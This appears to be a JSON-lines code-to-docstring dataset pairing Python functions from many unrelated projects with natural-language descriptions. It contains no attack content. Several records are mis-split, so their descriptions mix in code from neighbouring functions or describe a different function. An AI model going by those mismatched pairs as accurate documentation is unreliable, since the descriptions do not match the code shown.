a shallow test for where achannel can be closed waiting for the main loop.>>> channel4.last_activity -= 1>>> last_active = channel4.last_activity>>> channel4.set_async()>>> channel4.last_activity != last_activeTrue"} {"code": "def invalidate_exchange_routes(self):\n routes = self.db.all(\"\"\"\n for route in routes:\n route.invalidate()\n", "nl": "Disable any saved payment routes (cards, bank accounts)."} {"code": "def test_receiveBoxStateMachine(self):\n a = amp.BinaryBoxProtocol(self)\n a.stringReceived(b\"hello\")\n a.stringReceived(b\"world\")\n a.stringReceived(b\"\")\n self.assertEqual(self.boxes, [amp.AmpBox(hello=b\"world\")])\n\n", "nl": "When a binary box protocol receives:* a key* a value* an empty stringit should emit a box and send it to its boxReceiver."} {"code": "def count(self):\n return self.__collect_values_result.source\n", "nl": "The number of elements that satisfied the predicate.return len(self.__collect_values_result.path_values)@propertydef source(self):The source value (collection) that we are mapping the predicateover."} {"code": "def sample_one(self, img, shiftx, shifty, weight):\n\n\t\tN, C, H, W = img.size()\n\n\t\tflat_shiftx = shiftx.view(-1)\n\t\tflat_shifty = shifty.view(-1)\n\t\tflat_basex = torch.arange(0, H, requires_grad=False).view(-1, 1)[None, None].to(self.device).long().repeat(N, C,1,W).view(-1)\n\t\tflat_basey = torch.arange(0, W, requires_grad=False).view(1, -1)[None, None].to(self.device).long().repeat(N, C,H,1).view(-1)\n\t\tflat_weight = weight.view(-1)\n\t\tflat_img = img.contiguous().view(-1)\n\n\t\tidxn = torch.arange(0, N, requires_grad=False).view(N, 1, 1, 1).to(self.device).long().repeat(1, C, H, W).view(-1)\n\t\tidxc = torch.arange(0, C, requires_grad=False).view(1, C, 1, 1).to(self.device).long().repeat(N, 1, H, W).view(-1)\n\t\tidxx = flat_shiftx.long() + flat_basex\n\t\tidxy = flat_shifty.long() + flat_basey\n\n\t\tmask = idxx.ge(0) & idxx.lt(H) & idxy.ge(0) & idxy.lt(W)\n\n\t\tids = (idxn * C * H * W + idxc * H * W + idxx * W + idxy)\n\t\tids_mask = torch.masked_select(ids, mask).clone().to(self.device)\n\n\t\timg_warp = torch.zeros([N * C * H * W, ]).to(self.device)\n\t\timg_warp.put_(ids_mask, torch.masked_select(flat_img * flat_weight, mask), accumulate=True)\n\n\t\tone_warp = torch.zeros([N * C * H * W, ]).to(self.device)\n\t\tone_warp.put_(ids_mask, torch.masked_select(flat_weight, mask), accumulate=True)\n\n\t\treturn img_warp.view(N, C, H, W), one_warp.view(N, C, H, W)\n\nclass RefineUNet(nn.Module):", "nl": "Input:-img (N, C, H, W)-shiftx, shifty (N, c, H, W)"} {"code": "def PrintAction(ap, fp, indent, showPrecedenceConflict=False):\n\n result = True\n\n if ap.type == SHIFT:\n fprintf(fp, \"%*s shift %d\", indent, ap.sp.name, ap.x.stp.statenum)\n\n elif ap.type == REDUCE:\n fprintf(fp, \"%*s reduce %d\", indent, ap.sp.name, ap.x.rp.index)\n\n elif ap.type == ACCEPT:\n fprintf(fp, \"%*s accept\", indent, ap.sp.name)\n\n elif ap.type == ERROR:\n fprintf(fp, \"%*s error\", indent, ap.sp.name)\n\n elif ap.type in (SRCONFLICT, RRCONFLICT):\n fprintf(fp, \"%*s reduce %-3d ** Parsing conflict **\",\n indent, ap.sp.name, ap.x.rp.index)\n\n elif ap.type == SSCONFLICT:\n fprintf(fp, \"%*s shift %-3d ** Parsing conflict **\",\n indent, ap.sp.name, ap.x.stp.statenum)\n\n elif ap.type == SH_RESOLVED:\n if showPrecedenceConflict:\n fprintf(fp, \"%*s shift %-3d -- dropped by precedence\",\n indent, ap.sp.name, ap.x.stp.statenum)\n else:\n result = False\n\n elif ap.type == RD_RESOLVED:\n if showPrecedenceConflict:\n fprintf(fp, \"%*s reduce %-3d -- dropped by precedence\",\n indent, ap.sp.name, ap.x.rp.index)\n else:\n result = False\n\n elif ap.type == NOT_USED:\n result = False\n\n return result\n\n", "nl": "Print an action to the given file stream. Return False ifnothing was actually printed."} {"code": "def __init__(self, **kwargs: Any) -> None:\n aw1_aea: Optional[str] = kwargs.pop(\"aw1_aea\", None)\n if aw1_aea is None:\n raise ValueError(\"aw1_aea must be provided!\")\n self.aw1_aea = aw1_aea\n self._locations = kwargs.pop(\"locations\", {})\n if len(self._locations) == 0:\n raise ValueError(\"locations must have at least one entry\")\n _, location = next(iter(self._locations.items()))\n kwargs[\"location\"] = location\n self._search_queries = kwargs.pop(\"search_queries\", {})\n if len(self._search_queries) == 0:\n raise ValueError(\"search_queries must have at least one entry\")\n _, search_query = next(iter(self._search_queries.items()))\n kwargs[\"search_query\"] = search_query\n kwargs[\"service_id\"] = search_query[\"search_value\"]\n leaderboard_url = kwargs.pop(\"leaderboard_url\", None)\n if leaderboard_url is None:\n raise ValueError(\"No leader board url provided!\")\n self.leaderboard_url = f\"{leaderboard_url}/insert\"\n leaderboard_token = kwargs.pop(\"leaderboard_token\")\n if leaderboard_token is None:\n raise ValueError(\"No leader board token provided!\")\n self.leaderboard_token = leaderboard_token\n super().__init__(**kwargs)\n", "nl": "Initialize the strategy of the agent.:param kwargs: keyword arguments"} {"code": "def processV3(self, sessionRecord, message):\n\n if sessionRecord.hasSessionState(message.getMessageVersion(), message.getBaseKey().serialize()):\n logger.warn(\"We've already setup a session for this V3 message, letting bundled message fall through...\")\n return None\n\n ourSignedPreKey = self.signedPreKeyStore.loadSignedPreKey(message.getSignedPreKeyId()).getKeyPair()\n parameters = BobAxolotlParameters.newBuilder()\n parameters.setTheirBaseKey(message.getBaseKey())\\\n .setTheirIdentityKey(message.getIdentityKey())\\\n .setOurIdentityKey(self.identityKeyStore.getIdentityKeyPair())\\\n .setOurSignedPreKey(ourSignedPreKey)\\\n .setOurRatchetKey(ourSignedPreKey)\n\n if message.getPreKeyId() is not None:\n parameters.setOurOneTimePreKey(self.preKeyStore.loadPreKey(message.getPreKeyId()).getKeyPair())\n else:\n parameters.setOurOneTimePreKey(None)\n\n if not sessionRecord.isFresh():\n sessionRecord.archiveCurrentState()\n\n RatchetingSession.initializeSessionAsBob(sessionRecord.getSessionState(), parameters.create())\n sessionRecord.getSessionState().setLocalRegistrationId(self.identityKeyStore.getLocalRegistrationId())\n sessionRecord.getSessionState().setRemoteRegistrationId(message.getRegistrationId())\n sessionRecord.getSessionState().setAliceBaseKey(message.getBaseKey().serialize())\n\n if message.getPreKeyId() is not None and message.getPreKeyId() != Medium.MAX_VALUE:\n return message.getPreKeyId()\n else:\n return None\n", "nl": ":param sessionRecord::param message::type message: PreKeyWhisperMessage:return:"} {"code": "def setup(i):\n\n import os\n ck=i['ck_kernel']\n s=''\n\n iv=i.get('interactive','')\n\n cus=i.get('customize',{})\n fp=cus.get('full_path','')\n\n hosd=i['host_os_dict']\n tosd=i['target_os_dict']\n\n sdirs=hosd.get('dir_sep','')\n\n hplat=hosd.get('ck_name','')\n\n hproc=hosd.get('processor','')\n tproc=tosd.get('processor','')\n\n remote=tosd.get('remote','')\n tbits=tosd.get('bits','')\n\n env=i['env']\n\n p1=os.path.dirname(fp)\n p2=os.path.dirname(p1)\n\n ep=cus.get('env_prefix','')\n\n env[ep+\"_IMAGES\"]=p1\n env[ep]=p2\n\n return {'return':0, 'bat':s}\n\n\n", "nl": "Input: {cfg - meta of this soft entryself_cfg - meta of module softck_kernel - import CK kernel module (to reuse functions)host_os_uoa - host OS UOAhost_os_uid - host OS UIDhost_os_dict - host OS metatarget_os_uoa - target OS UOAtarget_os_uid - target OS UIDtarget_os_dict - target OS metatarget_device_id - target device ID (if via ADB)tags - list of tags used to search this entryenv - updated environment vars from metacustomize - updated customize vars from metadeps - resolved dependencies for this softinteractive - if 'yes', can ask questions, otherwise quiet}Output: {return - return code = 0, if successful> 0, if error(error) - error text if return > 0bat - prepared string for bat file}"} {"code": "def test_disqus_sso_payload_auth_user_no_keys(self, mock_b64encode, mock_hmac):\n\n DISQUS_PUBLIC_KEY = 'public'\n DISQUS_SECRET_KEY = 'secret'\n patch_dict = {'DISQUS_PUBLIC_KEY': DISQUS_PUBLIC_KEY,\n 'DISQUS_SECRET_KEY': DISQUS_SECRET_KEY}\n\n data = json.dumps({})\n\n mock_b64encode.return_value = data\n\n with patch.dict(self.flask_app.config, patch_dict):\n message, timestamp, sig, pub_key = util.get_disqus_sso_payload(None)\n mock_b64encode.assert_called_with(data.encode('utf-8'))\n tmp = '{} {}'.format(data, timestamp)\n mock_hmac.assert_called_with(DISQUS_SECRET_KEY.encode('utf-8'),\n tmp.encode('utf-8'),\n hashlib.sha1)\n assert timestamp\n assert sig\n assert pub_key == DISQUS_PUBLIC_KEY\n\n\n @with_context", "nl": "Test Disqus SSO without keys works.user = UserFactory.create()message, timestamp, sig, pub_key = util.get_disqus_sso_payload(user)assert message is Noneassert timestamp is Noneassert sig is Noneassert pub_key is None@with_context@patch('pybossa.util.hmac.HMAC')@patch('pybossa.util.base64.b64encode')def test_disqus_sso_payload_anon_user(self, mock_b64encode, mock_hmac):Test Disqus SSO payload anon works."} {"code": "def _eval_box_proposals(self):\n if self._output_dir:\n bbox_mode = BoxMode.XYXY_ABS.value\n ids, boxes, objectness_logits = [], [], []\n for prediction in self._predictions:\n ids.append(prediction[\"image_id\"])\n boxes.append(prediction[\"proposals\"].proposal_boxes.tensor.numpy())\n objectness_logits.append(prediction[\"proposals\"].objectness_logits.numpy())\n\n proposal_data = {\n \"boxes\": boxes,\n \"objectness_logits\": objectness_logits,\n \"ids\": ids,\n \"bbox_mode\": bbox_mode,\n }\n with PathManager.open(os.path.join(self._output_dir, \"box_proposals.pkl\"), \"wb\") as f:\n pickle.dump(proposal_data, f)\n\n if not self._do_evaluation:\n self._logger.info(\"Annotations are not available for evaluation.\")\n return\n\n self._logger.info(\"Evaluating bbox proposals ...\")\n res = {}\n areas = {\"all\": \"\", \"small\": \"s\", \"medium\": \"m\", \"large\": \"l\"}\n for limit in [100, 1000]:\n for area, suffix in areas.items():\n stats = _evaluate_box_proposals(\n self._predictions, self._coco_api, area=area, limit=limit\n )\n key = \"AR{}@{:d}\".format(suffix, limit)\n res[key] = float(stats[\"ar\"].item() * 100)\n self._logger.info(\"Proposal metrics: \\n\" + create_small_table(res))\n self._results[\"box_proposals\"] = res\n", "nl": "Evaluate the box proposals in self._predictions.Fill self._results with the metrics for \"box_proposals\" task."} {"code": "def assemble_face_from_edges(self, available_edges):\n\n self.face_area = np.nan\n\n face_edges = []\n face_edges.append(available_edges[0])\n cur_edge = face_edges[0]\n\n while True:\n next_edge = cur_edge.find_next_edge(available_edges)\n if next_edge == face_edges[0]:\n break\n elif next_edge is None:\n raise Exception(\"Face is not closed.\")\n elif len(face_edges) > len(available_edges):\n new_avail = list(available_edges)\n new_avail.remove(new_avail[0])\n if len(new_avail) < 3:\n raise Exception(\"Face failed to build.\")\n return self.assemble_face_from_edges(new_avail)\n face_edges.append(next_edge)\n cur_edge = next_edge\n\n self.edges = []\n l_fe = len(face_edges)\n for i in range(l_fe):\n VoronoiEdge.compute_intersection(face_edges[i], face_edges[(i +\n 1) % l_fe], just_join=True)\n self.edges.append(face_edges[i])\n\n self.compute_vertices()\n\n return self.is_closed()\n\n", "nl": "Function to assemble face, given a list of edges.Parameters----------available_edges : array-likeList of edges.Returns-------output : boolWhether face is closed.Raises------ExceptionIf face failed to build."} {"code": "def blacken(session: nox.sessions.Session) -> None:\n Run isort to sort imports. Then run black\n to format code to uniform standard.\n \"\"\"", "nl": "Run black. Format code to uniform standard.session.install(BLACK_VERSION)python_files = [path for path in os.listdir(\".\") if path.endswith(\".py\")]session.run(\"black\", *python_files)## format = isort + black#@nox.sessiondef format(session: nox.sessions.Session) -> None:"} {"code": "def __getstate__(self):\n self.__dict__.update(state)\n if '_cookies_lock' not in self.__dict__:\n self._cookies_lock = threading.RLock()\n", "nl": "Unlike a normal CookieJar, this class is pickleable.state = self.__dict__.copy()# remove the unpickleable RLock objectstate.pop('_cookies_lock')return statedef __setstate__(self, state):Unlike a normal CookieJar, this class is pickleable."} {"code": "def load_images():\n", "nl": "Load all images required by the game and return a dict of them.The returned dict has the following keys:background: The game's background image.bird-wingup: An image of the bird with its wing pointing upward.Use this and bird-wingdown to create a flapping bird.bird-wingdown: An image of the bird with its wing pointing downward.Use this and bird-wingup to create a flapping bird.pipe-end: An image of a pipe's end piece (the slightly wider bit).Use this and pipe-body to make pipes.pipe-body: An image of a slice of a pipe's body. Use this andpipe-body to make pipes."} {"code": "def wrap(image: tf.Tensor) -> tf.Tensor:\n\n Where there is a 0 in the last channel for every spatial position,\n the rest of the three channels in that spatial dimension are grayed\n (set to 128). Operations like translate and shear on a wrapped\n Tensor will leave 0s in empty locations. Some transformations look\n at the intensity of values to do preprocessing, and we want these\n empty pixels to assume the 'average' value, rather than pure black.\n\n\n Args:\n image: A 3D Image Tensor with 4 channels.\n replace: A one or three value 1D tensor to fill empty pixels.\n\n Returns:\n image: A 3D image Tensor with 3 channels.\n \"\"\"", "nl": "Returns 'image' with an extra channel set to all 1s.shape = tf.shape(image)extended_channel = tf.ones([shape[0], shape[1], 1], image.dtype)extended = tf.concat([image, extended_channel], axis=2)return extendeddef unwrap(image: tf.Tensor, replace: int) -> tf.Tensor:Unwraps an image produced by wrap."} {"code": "def __init__(self, logical_operator, tree_parameters, n_features, classes, n_classes=None, extra_config={}, **kwargs):\n n_classes = n_classes if n_classes is not None else tree_parameters[0][0][2].shape[0]\n super(GEMMTreeImpl, self).__init__(\n logical_operator, tree_parameters, n_features, classes, n_classes, extra_config=extra_config, **kwargs\n )\n\n hidden_one_size = 0\n hidden_two_size = 0\n hidden_three_size = self.n_classes\n\n for weight, bias in tree_parameters:\n hidden_one_size = max(hidden_one_size, weight[0].shape[0])\n hidden_two_size = max(hidden_two_size, weight[1].shape[0])\n\n n_trees = len(tree_parameters)\n weight_1 = np.zeros((n_trees, hidden_one_size, n_features))\n bias_1 = np.zeros((n_trees, hidden_one_size), dtype=np.float64)\n weight_2 = np.zeros((n_trees, hidden_two_size, hidden_one_size))\n bias_2 = np.zeros((n_trees, hidden_two_size))\n weight_3 = np.zeros((n_trees, hidden_three_size, hidden_two_size), dtype=np.float64)\n\n for i, (weight, bias) in enumerate(tree_parameters):\n if len(weight[0]) > 0:\n weight_1[i, 0 : weight[0].shape[0], 0 : weight[0].shape[1]] = weight[0]\n bias_1[i, 0 : bias[0].shape[0]] = bias[0]\n weight_2[i, 0 : weight[1].shape[0], 0 : weight[1].shape[1]] = weight[1]\n bias_2[i, 0 : bias[1].shape[0]] = bias[1]\n weight_3[i, 0 : weight[2].shape[0], 0 : weight[2].shape[1]] = weight[2]\n\n self.n_trees = n_trees\n self.n_features = n_features\n self.hidden_one_size = hidden_one_size\n self.hidden_two_size = hidden_two_size\n self.hidden_three_size = hidden_three_size\n\n self.weight_1 = torch.nn.Parameter(\n torch.from_numpy(weight_1.reshape(-1, self.n_features).astype(\"float32\")).detach().clone()\n )\n self.bias_1 = torch.nn.Parameter(\n torch.from_numpy(bias_1.reshape(-1, 1).astype(self.tree_op_precision_dtype)).detach().clone()\n )\n\n self.weight_2 = torch.nn.Parameter(torch.from_numpy(weight_2.astype(\"float32\")).detach().clone())\n self.bias_2 = torch.nn.Parameter(torch.from_numpy(bias_2.reshape(-1, 1).astype(\"float32\")).detach().clone())\n\n self.weight_3 = torch.nn.Parameter(torch.from_numpy(weight_3.astype(self.tree_op_precision_dtype)).detach().clone())\n", "nl": "Args:tree_parameters: The parameters defining the tree structuren_features: The number of features input to the modelclasses: The classes used for classification. None if implementing a regression modeln_classes: The total number of used classes"} {"code": "def forward(ctx, unknown: torch.Tensor, known: torch.Tensor) -> Tuple[torch.Tensor, torch.Tensor]:\n assert unknown.is_contiguous()\n assert known.is_contiguous()\n\n B, N, _ = unknown.size()\n m = known.size(1)\n dist2 = torch.cuda.FloatTensor(B, N, 3)\n idx = torch.cuda.IntTensor(B, N, 3)\n\n pointnet2.three_nn_wrapper(B, N, m, unknown, known, dist2, idx)\n return torch.sqrt(dist2), idx\n\n @staticmethod", "nl": "Find the three nearest neighbors of unknown in known:param ctx::param unknown: (B, N, 3):param known: (B, M, 3):return:dist: (B, N, 3) l2 distance to the three nearest neighborsidx: (B, N, 3) index of 3 nearest neighbors"} {"code": "def test_setitem(self):\n ad = AttribDict()\n ad['test'] = 'NEW'\n assert ad['test'] == 'NEW'\n assert ad.test == 'NEW'\n assert ad.get('test') == 'NEW'\n assert ad.__getattr__('test') == 'NEW'\n assert ad.__getitem__('test') == 'NEW'\n assert ad.__dict__['test'] == 'NEW'\n assert ad.__dict__.get('test') == 'NEW'\n assert 'test' in ad\n assert 'test' in ad.__dict__\n ad = AttribDict()\n ad.__setitem__('test', 'NEW')\n assert ad['test'] == 'NEW'\n assert ad.test == 'NEW'\n assert ad.get('test') == 'NEW'\n assert ad.__getattr__('test') == 'NEW'\n assert ad.__getitem__('test') == 'NEW'\n assert ad.__dict__['test'] == 'NEW'\n assert ad.__dict__.get('test') == 'NEW'\n assert 'test' in ad\n assert 'test' in ad.__dict__\n", "nl": "Tests __setitem__ method of AttribDict class."} {"code": "def test_retry_otherowner(self):\n self.lua('put', 0, 'worker', 'queue', 'jid', 'klass', {}, 0)\n self.lua('pop', 0, 'queue', 'worker', 10)\n self.lua('retry', 0, 'jid', 'queue', 'worker', 0)\n self.assertRaisesRegexp(redis.ResponseError, r'not currently running',\n self.lua, 'complete', 0, 'jid', 'worker', 'queue', {})\n", "nl": "Cannot retry a job owned by another workerself.lua('put', 0, 'worker', 'queue', 'jid', 'klass', {}, 0)self.lua('pop', 0, 'queue', 'worker', 10)self.assertRaisesRegexp(redis.ResponseError, r'another worker',self.lua, 'retry', 0, 'jid', 'queue', 'another', 0)def test_retry_complete(self):Cannot complete a job immediately after retry"} {"code": "def user_name_exists(user_name: str, context: Context) -> Any:\n model = context['model']\n session = context['session']\n result = session.query(model.User).filter_by(name=user_name).first()\n if not result:\n raise Invalid('%s: %s' % (_('Not found'), _('User')))\n return result.name\n\n", "nl": "Ensures that user's name exists."} {"code": "def _by_version_descending(names):", "nl": "Given a list of filenames, return them in descending orderby version number.>>> names = 'bar', 'foo', 'Python-2.7.10.egg', 'Python-2.7.2.egg'>>> _by_version_descending(names)['Python-2.7.10.egg', 'Python-2.7.2.egg', 'foo', 'bar']>>> names = 'Setuptools-1.2.3b1.egg', 'Setuptools-1.2.3.egg'>>> _by_version_descending(names)['Setuptools-1.2.3.egg', 'Setuptools-1.2.3b1.egg']>>> names = 'Setuptools-1.2.3b1.egg', 'Setuptools-1.2.3.post1.egg'>>> _by_version_descending(names)['Setuptools-1.2.3.post1.egg', 'Setuptools-1.2.3b1.egg']"} {"code": "def milestone_ico(chain, team_multisig, start_time, milestone_pricing, preico_cap, preico_funding_goal, token, presale_fund_collector, end_time) -> Contract:\n\n args = [\n token.address,\n milestone_ico.address,\n ]\n contract, hash = chain.provider.deploy_contract('DefaultFinalizeAgent', deploy_args=args)\n\n token.functions.setReleaseAgent(contract.address).transact({\"from\": team_multisig})\n milestone_ico.functions.setFinalizeAgent(contract.address).transact({\"from\": team_multisig})\n return contract\n\n", "nl": "Create a crowdsale contract that uses milestone based pricing.args = [token.address,milestone_pricing.address,team_multisig,start_time,end_time,0,]tx = {\"from\": team_multisig,}contract, hash = chain.provider.deploy_contract('UncappedCrowdsale', deploy_args=args, deploy_transaction=tx)assert contract.functions.owner().call() == team_multisigassert not token.functions.released().call()# Allow crowdsale contract to do mint()token.functions.setMintAgent(contract.address, True).transact({\"from\": team_multisig})assert token.functions.mintAgents(contract.address).call() == Truereturn contract@pytest.fixture()def finalizer(chain, token, milestone_ico, team_multisig) -> Contract:Set crowdsale end strategy."} {"code": "def data_source(self, data_source):\n\n self._data_source = data_source\n\n @property", "nl": "Sets the data_source of this V1PersistentVolumeClaimSpec.:param data_source: The data_source of this V1PersistentVolumeClaimSpec. # noqa: E501:type: V1TypedLocalObjectReference"} {"code": "def play_player_list_item(self):\n\n\n if self.server.version >= PROTOCOL_1_8START:\n raw = b\"\"\n header = self.packet.readpkt([VARINT, VARINT])\n action = header[0]\n number_players = header[1]\n\n raw += self.client.packet.send_varint(action)\n raw += self.client.packet.send_varint(number_players)\n\n curr_index = 0\n\n while curr_index < number_players:\n player_uuid_from_server = self.packet.readpkt([UUID])[0]\n\n player_client = self.proxy.getclientbyofflineserveruuid(\n player_uuid_from_server)\n\n if player_client:\n raw += self.client.packet.send_uuid(\n player_client.wrapper_uuid)\n else:\n raw += self.client.packet.send_uuid(\n player_uuid_from_server)\n\n curr_index += 1\n\n if action == 0:\n\n name = self.packet.readpkt([STRING])[0]\n prop_count = self.packet.readpkt([VARINT])[0]\n raw += self.client.packet.send_string(name)\n\n curr_prop = 0\n rawprop = b\"\"\n rawprop += self.client.packet.send_varint(prop_count)\n while curr_prop < prop_count:\n _property = self.packet.readpkt(\n [STRING, STRING, BOOL])\n rawprop += self.client.packet.send_string(_property[0])\n rawprop += self.client.packet.send_string(_property[1])\n rawprop += self.client.packet.send_bool(_property[2])\n if _property[2]:\n rawprop += self.client.packet.send_string(\n self.packet.readpkt([STRING])[0]\n )\n if player_client:\n our_prop_count = len(player_client.properties)\n raw += self.client.packet.send_varint(our_prop_count)\n for prop in player_client.properties:\n raw += self.client.packet.send_string(prop[\"name\"])\n raw += self.client.packet.send_string(prop[\"value\"])\n if \"signature\" in prop:\n raw += self.client.packet.send_bool(True)\n raw += self.client.packet.send_string(\n prop[\"signature\"])\n else:\n raw += self.client.packet.send_bool(False)\n else:\n raw += rawprop\n\n more = self.packet.readpkt([VARINT, VARINT, BOOL])\n raw += self.client.packet.send_varint(more[0])\n raw += self.client.packet.send_varint(more[1])\n raw += self.client.packet.send_bool(more[2])\n\n if more[2]:\n raw += self.client.packet.send_string(\n self.packet.readpkt([STRING])[0]\n )\n\n elif action == 1:\n data = self.packet.readpkt([VARINT])[0]\n raw += self.client.packet.send_varint(data)\n\n elif action == 2:\n data = self.packet.readpkt([VARINT])[0]\n raw += self.client.packet.send_varint(data)\n\n elif action == 3:\n data = self.packet.readpkt([BOOL])\n hasdisplay = data[0]\n raw += self.client.packet.send_bool(hasdisplay)\n\n if hasdisplay:\n raw += self.client.packet.send_string(\n self.packet.readpkt([STRING])[0]\n )\n\n elif action == 4:\n pass\n\n self.client.packet.sendpkt(\n self.pktCB.PLAYER_LIST_ITEM[PKT], [RAW], [raw]\n )\n return False\n else:\n return True\n", "nl": "This must be parsed and modified to make sure UUIDs match.Otherwise weird things can happen like players not seeingeach other or duplicate names on the tab list, etc."} {"code": "def cm(self): pass\n\"\"\"Test cases for test_pyclbr.py\"\"\"", "nl": "def cm(self): pass"} {"code": "def node_with_attr(attr_name,value):\n result = [ node for node in NODE if attr_name in NODE[node] and NODE[node][attr_name] == value ]\n BuiltIn().log(\"Found %d nodes with condition `%s`=`%s`\" % (len(result),attr_name,value))\n return result\n\n", "nl": " Returns a list of nodes which have attribute ``attr_name`` with value ``value``"} {"code": "def _init_state(self) -> None:\n job_env = submitit.JobEnvironment()\n\n if job_env.global_rank == 0:\n os.makedirs(self._train_cfg.output_dir, exist_ok=True)\n config_path = Path(self._train_cfg.output_dir) / 'config.json'\n with open(config_path, \"w\") as g:\n g.write(json.dumps(self._train_cfg._asdict()))\n\n print(f\"Setting random seed {self._train_cfg.seed}\", flush=True)\n random.seed(self._train_cfg.seed)\n np.random.seed(self._train_cfg.seed)\n torch.manual_seed(self._train_cfg.seed)\n torch.cuda.manual_seed_all(self._train_cfg.seed)\n\n print(\"Create data loaders\", flush=True)\n tokenizer = AutoTokenizer.from_pretrained(self._train_cfg.model_name)\n collate_fc = partial(mhop_collate, pad_id=tokenizer.pad_token_id)\n train_set = MhopDataset(tokenizer, self._train_cfg.train_file, self._train_cfg.max_q_len, self._train_cfg.max_q_sp_len, self._train_cfg.max_c_len, train=True)\n\n self._train_loader = torch.utils.data.DataLoader(train_set, batch_size=self._train_cfg.train_batch_size, num_workers=self._train_cfg.num_workers, collate_fn=collate_fc, shuffle=True)\n test_set = MhopDataset(tokenizer, self._train_cfg.predict_file, self._train_cfg.max_q_len, self._train_cfg.max_q_sp_len, self._train_cfg.max_c_len)\n\n self._test_loader = torch.utils.data.DataLoader(\n test_set,\n batch_size=self._train_cfg.predict_batch_size,\n num_workers=self._train_cfg.num_workers, collate_fn=collate_fc, pin_memory=True\n )\n\n print(\"Create model\", flush=True)\n print(f\"Local rank {job_env.local_rank}\", flush=True)\n bert_config = AutoConfig.from_pretrained(self._train_cfg.model_name)\n if \"roberta\" in self._train_cfg.model_name:\n model = RobertaRetriever(bert_config, self._train_cfg)\n else:\n model = MhopRetriever(bert_config, self._train_cfg)\n model.cuda(job_env.local_rank)\n\n no_decay = ['bias', 'LayerNorm.weight']\n optimizer_parameters = [\n {'params': [p for n, p in model.named_parameters() if not any(\n nd in n for nd in no_decay)], 'weight_decay': self._train_cfg.weight_decay},\n {'params': [p for n, p in model.named_parameters() if any(\n nd in n for nd in no_decay)], 'weight_decay': 0.0}\n ]\n optimizer = Adam(optimizer_parameters, lr=self._train_cfg.learning_rate, eps=self._train_cfg.adam_epsilon)\n\n if self._train_cfg.fp16:\n model, optimizer = amp.initialize(\n model, optimizer, opt_level=self._train_cfg.fp16_opt_level)\n\n t_total = len(self._train_loader) // self._train_cfg.gradient_accumulation_steps * self._train_cfg.num_train_epochs\n warmup_steps = t_total * self._train_cfg.warmup_ratio\n lr_scheduler = get_linear_schedule_with_warmup(\n optimizer, num_warmup_steps=warmup_steps, num_training_steps=t_total\n )\n model = torch.nn.DataParallel(model)\n self._state = TrainerState(\n epoch=0, model=model, optimizer=optimizer, lr_scheduler=lr_scheduler, global_step=0\n )\n\n self.tb_logger = SummaryWriter(self._train_cfg.output_dir.replace(\"logs\", \"tflogs\"))\n\n checkpoint_fn = osp.join(self._train_cfg.output_dir, str(job_env.job_id), \"checkpoint.pth\")\n if os.path.isfile(checkpoint_fn):\n print(f\"Load existing checkpoint from {checkpoint_fn}\", flush=True)\n self._state = TrainerState.load(", "nl": "Initialize the state and load it from an existing checkpoint if any"} {"code": "def test_load_apps_blacklist(self):\n xxx.*: {reason: test, when: 1234567890.0}\n yyy.app3: {reason: test, when: 1234567890.0}\n \"\"\",", "nl": "Tests loading application blacklist.zk_content = {'blackedout.apps': {'.data': "} {"code": "def test_2(self):\n", "nl": "self.validate(x = {'one', 1,})def test_3(self):self.validate(x = {'one', 'two', 'three'})"} {"code": "def alphanum_key(key: str) -> List[Union[str, int]]:\n return sorted(sort_me, key=alphanum_key)\n\n", "nl": "split on end numbers.return [convert(c) for c in re.split(\"([0-9]+)\", key)]def sorted_nicely(sort_me: Iterable) -> Iterable:Sort the given iterable in the way that humans expect."} {"code": "def read_unicodestring8(f):\n\n n = read_uint8(f)\n assert n >= 0\n if n > sys.maxsize:\n raise ValueError(\"unicodestring8 byte count > sys.maxsize: %d\" % n)\n data = f.read(n)\n if len(data) == n:\n return str(data, 'utf-8', 'surrogatepass')\n raise ValueError(\"expected %d bytes in a unicodestring8, but only %d \"\n \"remain\" % (n, len(data)))\n\nunicodestring8 = ArgumentDescriptor(\n name=\"unicodestring8\",\n n=TAKEN_FROM_ARGUMENT8U,\n reader=read_unicodestring8,\n doc=\"\"\"A counted Unicode string.\n\n", "nl": "r>>> import io>>> s = 'abcd\\uabcd'>>> enc = s.encode('utf-8')>>> encb'abcd\\xea\\xaf\\x8d'>>> n = bytes([len(enc)]) + b'\\0' * 7 # little-endian 8-byte length>>> t = read_unicodestring8(io.BytesIO(n + enc + b'junk'))>>> s == tTrue>>> read_unicodestring8(io.BytesIO(n + enc[:-1]))Traceback (most recent call last):...ValueError: expected 7 bytes in a unicodestring8, but only 6 remain"} {"code": "def __repr__(cls):\n return cls.__repr__(cls)\n", "nl": "We pass the class again, so that we later need no classmethod"} {"code": "def compute_similar_images(image_tensor, num_images, embedding, device):\n\n image_tensor = image_tensor.to(device)\n\n with torch.no_grad():\n image_embedding = encoder(image_tensor).cpu().detach().numpy()\n\n\n flattened_embedding = image_embedding.reshape((image_embedding.shape[0], -1))\n\n knn = NearestNeighbors(n_neighbors=num_images, metric=\"cosine\")\n knn.fit(embedding)\n\n _, indices = knn.kneighbors(flattened_embedding)\n indices_list = indices.tolist()\n return indices_list\n\n", "nl": "Given an image and number of similar images to generate.Returns the num_images closest neares images.Args:image_tenosr: PIL read image_tensor whose similar images are needed.num_images: Number of similar images to find.embedding : A (num_images, embedding_dim) Embedding of images learnt from auto-encoder.device : \"cuda\" or \"cpu\" device."} {"code": "def point_at_infinity(self):\n return (self.size_in_bits() + 7) // 8\n", "nl": "Return the point-at-infinity for the curve this point is on.return EccPoint(0, 0, self._curve_name)@propertydef x(self):return self.xy[0]@propertydef y(self):return self.xy[1]@propertydef xy(self):modulus_bytes = self.size_in_bytes()xb = bytearray(modulus_bytes)yb = bytearray(modulus_bytes)result = _ec_lib.ec_ws_get_xy(c_uint8_ptr(xb),c_uint8_ptr(yb),c_size_t(modulus_bytes),self._point.get())if result:raise ValueError(\"Error %d while encoding an EC point\" % result)return (Integer(bytes_to_long(xb)), Integer(bytes_to_long(yb)))def size_in_bytes(self):Size of each coordinate, in bytes."} {"code": "def join(self, who, where):\n self.sendLine(\":%s JOIN %s\" % (who, where))\n\n", "nl": "Send a join message.@type who: C{str} or C{unicode}@param who: The name of the user joining. Should be of the formusername!ident@hostmask (unless you know better!).@type where: C{str} or C{unicode}@param where: The channel the user is joining."} {"code": "def test_get_item_index_slice_using_stop_only_limit_skip(self):\n results = [self.create_result(q_parms={'limit':2, 'skip': 20}),\n self.create_result(qr_parms={'limit':2, 'skip': 20}),\n self.create_result(q_parms={'limit':100, 'skip': 100},\n qr_parms={'limit':2, 'skip': 20})]\n expected = [{'_id': 'julia020', 'name': 'julia', 'age': 